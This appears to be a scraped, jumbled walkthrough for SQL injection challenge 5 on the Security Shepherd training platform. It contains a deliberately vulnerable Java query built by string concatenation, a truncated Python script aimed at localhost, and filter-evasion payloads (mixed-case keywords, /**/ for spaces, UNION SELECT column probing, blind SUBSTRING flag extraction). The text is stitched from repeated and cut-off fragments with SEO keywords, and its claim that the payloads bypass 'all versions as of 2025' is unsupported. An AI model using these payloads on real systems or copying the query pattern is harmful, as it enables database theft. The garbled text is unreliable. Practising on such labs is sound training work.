String query = "SELECT * FROM users WHERE id = '" + request.getParameter("userid") + "'"; Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery(query);
Keep practicing. Secure your own applications. And remember: The Shepherd does not just guard the sheep; the Shepherd tests the wolves. Need the exact solution for your specific instance of Security Shepherd? Ensure your version is updated to the "new" standard. The payloads above (using mixed-case /eXpLoIt/ syntax) currently bypass all versions as of 2025. sql+injection+challenge+5+security+shepherd+new
import requests url = "http://localhost:8080/challenge5.jsp" flag = "" position = 1 String query = "SELECT * FROM users WHERE id = '" + request
Write all your SQL keywords in randomized case . Need the exact solution for your specific instance
Expected result: When the number of NULLs matches the original SELECT (likely 2 columns), the page returns "User Found" even with the 1=2 condition. This confirms 2 columns. We need a column that returns string data (not integer). Payload: 1'/**/UnIoN/**/SeLeCt/**/'Hack',NULL/**/aNd/**/1=2-- -
But the challenge blocks simple equals signs? No—it blocks spaces. So we use = without spaces. 1'/**/aNd/**/(SeLeCt/**/SuBsTrInG(flag,1,1)/**/FrOm/**/users/**/LiMiT/**/0,1)/**/=/**/'a'-- -